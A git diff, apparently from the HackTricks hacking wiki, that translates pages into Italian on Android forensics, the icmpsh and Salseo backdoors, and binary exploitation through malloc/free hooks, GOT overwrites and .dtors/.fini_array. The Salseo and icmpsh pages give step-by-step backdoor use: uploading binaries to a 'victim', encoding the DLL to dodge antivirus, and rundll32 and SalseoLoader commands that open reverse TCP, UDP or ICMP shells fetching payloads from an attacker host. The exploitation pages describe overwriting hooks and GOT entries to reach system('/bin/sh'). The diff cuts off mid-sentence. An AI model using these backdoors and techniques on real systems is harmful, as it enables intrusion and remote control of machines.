708f9b780..4d86fca2e 100644 --- a/src/android-forensics.md +++ b/src/android-forensics.md @@ -4,7 +4,7 @@ ## Dispositivo Bloccato -Per iniziare a estrarre dati da un dispositivo Android, deve essere sbloccato. Se è bloccato, puoi: +Per iniziare a estrarre dati da un dispositivo Android, deve essere sbloccato. Se è bloccato puoi: - Controllare se il dispositivo ha attivato il debug via USB. - Controllare un possibile [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf) diff --git a/src/backdoors/icmpsh.md b/src/backdoors/icmpsh.md index 6c48091a3..a71a1f664 100644 --- a/src/backdoors/icmpsh.md +++ b/src/backdoors/icmpsh.md @@ -1,31 +1,25 @@ {{#include ../banners/hacktricks-training.md}} -Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) +Scarica il backdoor da: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) -# Client side +# Lato client -Execute the script: **run.sh** - -**If you get some error, try to change the lines:** +Esegui lo script: **run.sh** +**Se ricevi un errore, prova a cambiare le righe:** ```bash IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') ``` - -**For:** - +**Per:** ```bash echo Please insert the IP where you want to listen read IP ``` +# **Lato Vittima** -# **Victim Side** - -Upload **icmpsh.exe** to the victim and execute: - +Carica **icmpsh.exe** sulla vittima ed esegui: ```bash icmpsh.exe -t -d 500 -b 30 -s 128 ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md index 90cf5338c..73850279b 100644 --- a/src/backdoors/salseo.md +++ b/src/backdoors/salseo.md @@ -2,159 +2,142 @@ {{#include ../banners/hacktricks-training.md}} -## Compiling the binaries +## Compilare i binari -Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code. +Scarica il codice sorgente da github e compila **EvilSalsa** e **SalseoLoader**. Avrai bisogno di **Visual Studio** installato per compilare il codice. -Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures). +Compila questi progetti per l'architettura della macchina Windows su cui intendi usarli (Se Windows supporta x64, compilali per quell'architettura). -You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".** +Puoi **selezionare l'architettura** all'interno di Visual Studio nella **scheda "Build" a sinistra** in **"Platform Target".** -(\*\*If you can't find this options press in **"Project Tab"** and then in **"\ Properties"**) +(\*\*Se non riesci a trovare queste opzioni, premi su **"Project Tab"** e poi su **"\ Properties"**) ![](<../images/image (132).png>) -Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable): +Poi, costruisci entrambi i progetti (Build -> Build Solution) (All'interno dei log apparirà il percorso dell'eseguibile): ![](<../images/image (1) (2) (1) (1) (1).png>) -## Prepare the Backdoor +## Preparare il Backdoor -First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**: +Prima di tutto, dovrai codificare il **EvilSalsa.dll.** Per farlo, puoi usare lo script python **encrypterassembly.py** oppure puoi compilare il progetto **EncrypterAssembly**: ### **Python** - ``` python EncrypterAssembly/encrypterassembly.py python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt ``` - ### Windows - ``` EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` +Ok, ora hai tutto il necessario per eseguire tutto il Salseo: il **EvilDalsa.dll codificato** e il **binario di SalseoLoader.** -Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.** +**Carica il binario SalseoLoader.exe sulla macchina. Non dovrebbero essere rilevati da alcun AV...** -**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...** +## **Esegui il backdoor** -## **Execute the backdoor** - -### **Getting a TCP reverse shell (downloading encoded dll through HTTP)** - -Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa. +### **Ottenere una shell inversa TCP (scaricando dll codificata tramite HTTP)** +Ricorda di avviare un nc come listener della shell inversa e un server HTTP per servire l'evilsalsa codificato. ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` +### **Ottenere una shell inversa UDP (scaricando dll codificata tramite SMB)** -### **Getting a UDP reverse shell (downloading encoded dll through SMB)** - -Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver). - +Ricorda di avviare un nc come listener della shell inversa e un server SMB per servire l'evilsalsa codificato (impacket-smbserver). ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` +### **Ottenere una shell inversa ICMP (dll codificata già all'interno della vittima)** -### **Getting a ICMP reverse shell (encoded dll already inside the victim)** - -**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) - -#### **Disable ICMP Replies:** +**Questa volta hai bisogno di uno strumento speciale nel client per ricevere la shell inversa. Scarica:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) +#### **Disabilita le risposte ICMP:** ``` sysctl -w net.ipv4.icmp_echo_ignore_all=1 #You finish, you can enable it again running: sysctl -w net.ipv4.icmp_echo_ignore_all=0 ``` - -#### Execute the client: - +#### Esegui il client: ``` python icmpsh_m.py "" "" ``` - -#### Inside the victim, lets execute the salseo thing: - +#### All'interno della vittima, eseguiamo la cosa salseo: ``` SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ``` +## Compilare SalseoLoader come DLL esportando la funzione principale -## Compiling SalseoLoader as DLL exporting main function +Apri il progetto SalseoLoader utilizzando Visual Studio. -Open the SalseoLoader project using Visual Studio. - -### Add before the main function: \[DllExport] +### Aggiungi prima della funzione principale: \[DllExport] ![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -### Install DllExport for this project +### Installa DllExport per questo progetto -#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...** +#### **Strumenti** --> **Gestore pacchetti NuGet** --> **Gestisci pacchetti NuGet per la soluzione...** ![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)** +#### **Cerca il pacchetto DllExport (utilizzando la scheda Sfoglia) e premi Installa (e accetta il popup)** ![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat** +Nella tua cartella di progetto sono apparsi i file: **DllExport.bat** e **DllExport_Configure.bat** -### **U**ninstall DllExport +### **Dis**installa DllExport -Press **Uninstall** (yeah, its weird but trust me, it is necessary) +Premi **Disinstalla** (sì, è strano ma fidati, è necessario) ![](<../images/image (5) (1) (1) (2) (1).png>) -### **Exit Visual Studio and execute DllExport_configure** +### **Esci da Visual Studio ed esegui DllExport_configure** -Just **exit** Visual Studio +Basta **uscire** da Visual Studio -Then, go to your **SalseoLoader folder** and **execute DllExport_Configure.bat** +Poi, vai nella tua **cartella SalseoLoader** e **esegui DllExport_Configure.bat** -Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply** +Seleziona **x64** (se intendi usarlo all'interno di una box x64, questo era il mio caso), seleziona **System.Runtime.InteropServices** (all'interno di **Namespace per DllExport**) e premi **Applica** ![](<../images/image (7) (1) (1) (1) (1).png>) -### **Open the project again with visual Studio** +### **Apri di nuovo il progetto con Visual Studio** -**\[DllExport]** should not be longer marked as error +**\[DllExport]** non dovrebbe più essere contrassegnato come errore ![](<../images/image (8) (1).png>) -### Build the solution +### Compila la soluzione -Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library) +Seleziona **Tipo di output = Class Library** (Progetto --> Proprietà SalseoLoader --> Applicazione --> Tipo di output = Class Library) ![](<../images/image (10) (1).png>) -Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64) +Seleziona **piattaforma x64** (Progetto --> Proprietà SalseoLoader --> Compila --> Target piattaforma = x64) ![](<../images/image (9) (1) (1).png>) -To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear) +Per **compilare** la soluzione: Compila --> Compila soluzione (All'interno della console di output apparirà il percorso della nuova DLL) -### Test the generated Dll +### Testa il Dll generato -Copy and paste the Dll where you want to test it. - -Execute: +Copia e incolla il Dll dove vuoi testarlo. +Esegui: ``` rundll32.exe SalseoLoader.dll,main ``` +Se non appare alcun errore, probabilmente hai un DLL funzionante!! -If no error appears, probably you have a functional DLL!! +## Ottieni una shell usando il DLL -## Get a shell using the DLL - -Don't forget to use a **HTTP** **server** and set a **nc** **listener** +Non dimenticare di usare un **server** **HTTP** e impostare un **listener** **nc** ### Powershell - ``` $env:pass="password" $env:payload="http://10.2.0.5/evilsalsax64.dll.txt" @@ -163,9 +146,7 @@ $env:lport="1337" $env:shell="reversetcp" rundll32.exe SalseoLoader.dll,main ``` - ### CMD - ``` set pass=password set payload=http://10.2.0.5/evilsalsax64.dll.txt @@ -174,5 +155,4 @@ set lport=1337 set shell=reversetcp rundll32.exe SalseoLoader.dll,main ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index b03deaf4a..9fc2ddb15 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,13 +1,13 @@ > [!TIP] -> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +> Impara e pratica l'Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +> Impara e pratica l'Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) > >
> -> Support HackTricks +> Supporta HackTricks > -> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +> - Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! +> - **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +> - **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. > >
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/README.md b/src/binary-exploitation/arbitrary-write-2-exec/README.md index 117d2440a..c9fd207eb 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/README.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/README.md @@ -1,3 +1 @@ -# Arbitrary Write 2 Exec - - +# Scrittura Arbitraria 2 Exec diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index 7bd874ca8..5047a3626 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -4,34 +4,32 @@ ## **Malloc Hook** -As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**. +Come puoi vedere nel [sito ufficiale di GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), la variabile **`__malloc_hook`** è un puntatore che punta all'**indirizzo di una funzione che verrà chiamata** ogni volta che viene chiamato `malloc()`, **memorizzato nella sezione dati della libreria libc**. Pertanto, se questo indirizzo viene sovrascritto con un **One Gadget**, ad esempio, e viene chiamato `malloc`, il **One Gadget verrà chiamato**. -To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap. +Per chiamare malloc è possibile aspettare che il programma lo chiami o **chiamando `printf("%10000$c")**, che alloca troppi byte, costringendo `libc` a chiamare malloc per allocarli nell'heap. -More info about One Gadget in: +Ulteriori informazioni su One Gadget in: {{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} > [!WARNING] -> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). +> Nota che i hook sono **disabilitati per GLIBC >= 2.34**. Ci sono altre tecniche che possono essere utilizzate su versioni moderne di GLIBC. Vedi: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). ## Free Hook -This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack: +Questo è stato abusato in uno degli esempi della pagina che sfrutta un attacco fast bin dopo aver abusato di un attacco unsorted bin: {{#ref}} ../libc-heap/unsorted-bin-attack.md {{#endref}} -It's posisble to find the address of `__free_hook` if the binary has symbols with the following command: - +È possibile trovare l'indirizzo di `__free_hook` se il binario ha simboli con il seguente comando: ```bash gef➤ p &__free_hook ``` - -[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function: +[Nel post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) puoi trovare una guida passo passo su come localizzare l'indirizzo del free hook senza simboli. In sintesi, nella funzione free:
gef➤  x/20i free
 0xf75dedc0 <free>: push   ebx
@@ -45,26 +43,26 @@ gef➤  p &__free_hook
 0xf75deddd <free+29>:  jne    0xf75dee50 <free+144>
 
-In the mentioned break in the previous code in `$eax` will be located the address of the free hook. +Nel break menzionato nel codice precedente, in `$eax` si troverà l'indirizzo del free hook. -Now a **fast bin attack** is performed: +Ora viene eseguito un **attacco fast bin**: -- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: +- Prima di tutto si scopre che è possibile lavorare con fast **chunk di dimensione 200** nella posizione **`__free_hook`**: -
gef➤  p &__free_hook
-  $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
-  gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
-  0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
-  0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
-  0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
-  0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-  
- - If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed -- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. -- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. -- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. -- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. +$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> +gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 +0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 +0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 +0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 +0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000 + +- Se riusciamo a ottenere un fast chunk di dimensione 0x200 in questa posizione, sarà possibile sovrascrivere un puntatore a funzione che verrà eseguito +- Per questo, viene creato un nuovo chunk di dimensione `0xfc` e la funzione unita viene chiamata con quel puntatore due volte, in questo modo otteniamo un puntatore a un chunk liberato di dimensione `0xfc*2 = 0x1f8` nel fast bin. +- Poi, la funzione di modifica viene chiamata in questo chunk per modificare l'indirizzo **`fd`** di questo fast bin per puntare alla precedente funzione **`__free_hook`**. +- Successivamente, viene creato un chunk di dimensione `0x1f8` per recuperare dal fast bin il precedente chunk inutile, quindi viene creato un altro chunk di dimensione `0x1f8` per ottenere un fast bin chunk nella **`__free_hook`** che viene sovrascritto con l'indirizzo della funzione **`system`**. +- E infine, viene liberato un chunk contenente la stringa `/bin/sh\x00` chiamando la funzione di eliminazione, attivando la funzione **`__free_hook`** che punta a system con `/bin/sh\x00` come parametro. -## References +## Riferimenti - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index ad09ee48e..47103b52c 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -2,63 +2,63 @@ {{#include ../../banners/hacktricks-training.md}} -## **Basic Information** +## **Informazioni di Base** -### **GOT: Global Offset Table** +### **GOT: Tabella degli Offset Globale** -The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved. +La **Tabella degli Offset Globale (GOT)** è un meccanismo utilizzato nei binari collegati dinamicamente per gestire gli **indirizzi delle funzioni esterne**. Poiché questi **indirizzi non sono noti fino al runtime** (a causa del collegamento dinamico), la GOT fornisce un modo per **aggiornare dinamicamente gli indirizzi di questi simboli esterni** una volta risolti. -Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again. +Ogni voce nella GOT corrisponde a un simbolo nelle librerie esterne che il binario può chiamare. Quando una **funzione viene chiamata per la prima volta, il suo indirizzo effettivo viene risolto dal linker dinamico e memorizzato nella GOT**. Le chiamate successive alla stessa funzione utilizzano l'indirizzo memorizzato nella GOT, evitando così il sovraccarico di risolvere nuovamente l'indirizzo. -### **PLT: Procedure Linkage Table** +### **PLT: Tabella di Collegamento delle Procedure** -The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**. +La **Tabella di Collegamento delle Procedure (PLT)** lavora a stretto contatto con la GOT e funge da trampolino per gestire le chiamate a funzioni esterne. Quando un binario **chiama una funzione esterna per la prima volta, il controllo viene passato a una voce nella PLT associata a quella funzione**. Questa voce PLT è responsabile dell'invocazione del linker dinamico per risolvere l'indirizzo della funzione se non è già stato risolto. Dopo che l'indirizzo è stato risolto, viene memorizzato nella **GOT**. -**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker. +**Pertanto,** le voci GOT vengono utilizzate direttamente una volta che l'indirizzo di una funzione o variabile esterna è stato risolto. **Le voci PLT vengono utilizzate per facilitare la risoluzione iniziale** di questi indirizzi tramite il linker dinamico. -## Get Execution +## Ottieni Esecuzione -### Check the GOT +### Controlla la GOT -Get the address to the GOT table with: **`objdump -s -j .got ./exec`** +Ottieni l'indirizzo della tabella GOT con: **`objdump -s -j .got ./exec`** ![](<../../images/image (121).png>) -Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT` +Osserva come dopo **il caricamento** dell'**eseguibile** in GEF puoi **vedere** le **funzioni** che sono nella **GOT**: `gef➤ x/20x 0xADDR_GOT` ![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) -Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table: +Utilizzando GEF puoi **iniziare** una sessione di **debugging** ed eseguire **`got`** per vedere la tabella got: ![](<../../images/image (496).png>) ### GOT2Exec -In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example. +In un binario la GOT ha gli **indirizzi delle funzioni o** della **sezione PLT** che caricherà l'indirizzo della funzione. L'obiettivo di questa scrittura arbitraria è **sovrascrivere una voce GOT** di una funzione che verrà eseguita successivamente **con** l'**indirizzo** della PLT della **funzione** **`system`** ad esempio. -Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function). +Idealmente, dovresti **sovrascrivere** la **GOT** di una **funzione** che verrà **chiamata con parametri controllati da te** (in modo da poter controllare i parametri inviati alla funzione di sistema). -If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address. +Se **`system`** **non è utilizzato** dal binario, la funzione di sistema **non avrà** una voce nella PLT. In questo scenario, dovrai **prima fare leak dell'indirizzo** della funzione `system` e poi sovrascrivere la GOT per puntare a questo indirizzo. -You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`** +Puoi vedere gli indirizzi PLT con **`objdump -j .plt -d ./vuln_binary`** -## libc GOT entries +## Voci GOT di libc -The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). +La **GOT di libc** è solitamente compilata con **RELRO parziale**, rendendola un buon obiettivo per questo supponendo sia possibile capire il suo indirizzo ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). -Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution. +Le funzioni comuni di libc chiameranno **altre funzioni interne** le cui GOT potrebbero essere sovrascritte per ottenere l'esecuzione del codice. -Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). +Trova [**maggiori informazioni su questa tecnica qui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). ### **Free2system** -In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`. +Nelle CTF di sfruttamento dell'heap è comune poter controllare il contenuto dei chunk e a un certo punto persino sovrascrivere la tabella GOT. Un trucco semplice per ottenere RCE se i gadget non sono disponibili è sovrascrivere l'indirizzo GOT di `free` per puntare a `system` e scrivere all'interno di un chunk `"/bin/sh"`. In questo modo, quando questo chunk viene liberato, eseguirà `system("/bin/sh")`. ### **Strlen2system** -Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell. +Un'altra tecnica comune è sovrascrivere l'indirizzo GOT di **`strlen`** per puntare a **`system`**, quindi se questa funzione viene chiamata con input dell'utente è possibile passare la stringa `"/bin/sh"` e ottenere una shell. -Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**. +Inoltre, se `puts` viene utilizzato con input dell'utente, è possibile sovrascrivere l'indirizzo GOT di `strlen` per puntare a `system` e passare la stringa `"/bin/sh"` per ottenere una shell perché **`puts` chiamerà `strlen` con l'input dell'utente**. ## **One Gadget** @@ -66,22 +66,22 @@ Moreover, if `puts` is used with user input, it's possible to overwrite the `str ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} -## **Abusing GOT from Heap** +## **Abusare della GOT dall'Heap** -A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\ -Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell. +Un modo comune per ottenere RCE da una vulnerabilità dell'heap è abusare di un fastbin in modo da poter aggiungere la parte della tabella GOT nel fast bin, così ogni volta che quel chunk viene allocato sarà possibile **sovrascrivere il puntatore di una funzione, di solito `free`**.\ +Poi, puntando `free` a `system` e liberando un chunk dove è stato scritto `/bin/sh\x00` eseguirà una shell. -It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.** +È possibile trovare un [**esempio qui**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.** -## **Protections** +## **Protezioni** -The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it: +La protezione **Full RELRO** è progettata per proteggere contro questo tipo di tecnica risolvendo tutti gli indirizzi delle funzioni quando il binario viene avviato e rendendo la **tabella GOT di sola lettura** dopo: {{#ref}} ../common-binary-protections-and-bypasses/relro.md {{#endref}} -## References +## Riferimenti - [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md index 31e45fba4..f7e1a365f 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md @@ -5,52 +5,48 @@ ## .dtors > [!CAUTION] -> Nowadays is very **weird to find a binary with a .dtors section!** +> Al giorno d'oggi è molto **strano trovare un binario con una sezione .dtors!** -The destructors are functions that are **executed before program finishes** (after the `main` function returns).\ -The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends. - -Get the address of this section with: +I distruttori sono funzioni che vengono **eseguite prima che il programma finisca** (dopo che la funzione `main` restituisce).\ +Gli indirizzi di queste funzioni sono memorizzati all'interno della sezione **`.dtors`** del binario e quindi, se riesci a **scrivere** l'**indirizzo** in un **shellcode** in **`__DTOR_END__`**, questo sarà **eseguito** prima che il programma termini. +Ottieni l'indirizzo di questa sezione con: ```bash objdump -s -j .dtors /exec rabin -s /exec | grep “__DTOR” ``` - -Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it. +Di solito troverai i marcatori **DTOR** **tra** i valori `ffffffff` e `00000000`. Quindi, se vedi solo quei valori, significa che **non ci sono funzioni registrate**. Quindi **sovrascrivi** il **`00000000`** con l'**indirizzo** del **shellcode** per eseguirlo. > [!WARNING] -> Ofc, you first need to find a **place to store the shellcode** in order to later call it. +> Ovviamente, devi prima trovare un **luogo per memorizzare il shellcode** per poterlo chiamare successivamente. ## **.fini_array** -Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**. - +Essenzialmente, questa è una struttura con **funzioni che verranno chiamate** prima che il programma finisca, come **`.dtors`**. Questo è interessante se puoi chiamare il tuo **shellcode semplicemente saltando a un indirizzo**, o nei casi in cui devi tornare di nuovo a **`main`** per **sfruttare la vulnerabilità una seconda volta**. ```bash objdump -s -j .fini_array ./greeting ./greeting: file format elf32-i386 Contents of section .fini_array: - 8049934 a0850408 +8049934 a0850408 #Put your address in 0x8049934 ``` +Nota che quando una funzione da **`.fini_array`** viene eseguita, passa alla successiva, quindi non verrà eseguita più volte (prevenendo cicli eterni), ma darà solo 1 **esecuzione della funzione** posizionata qui. -Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it 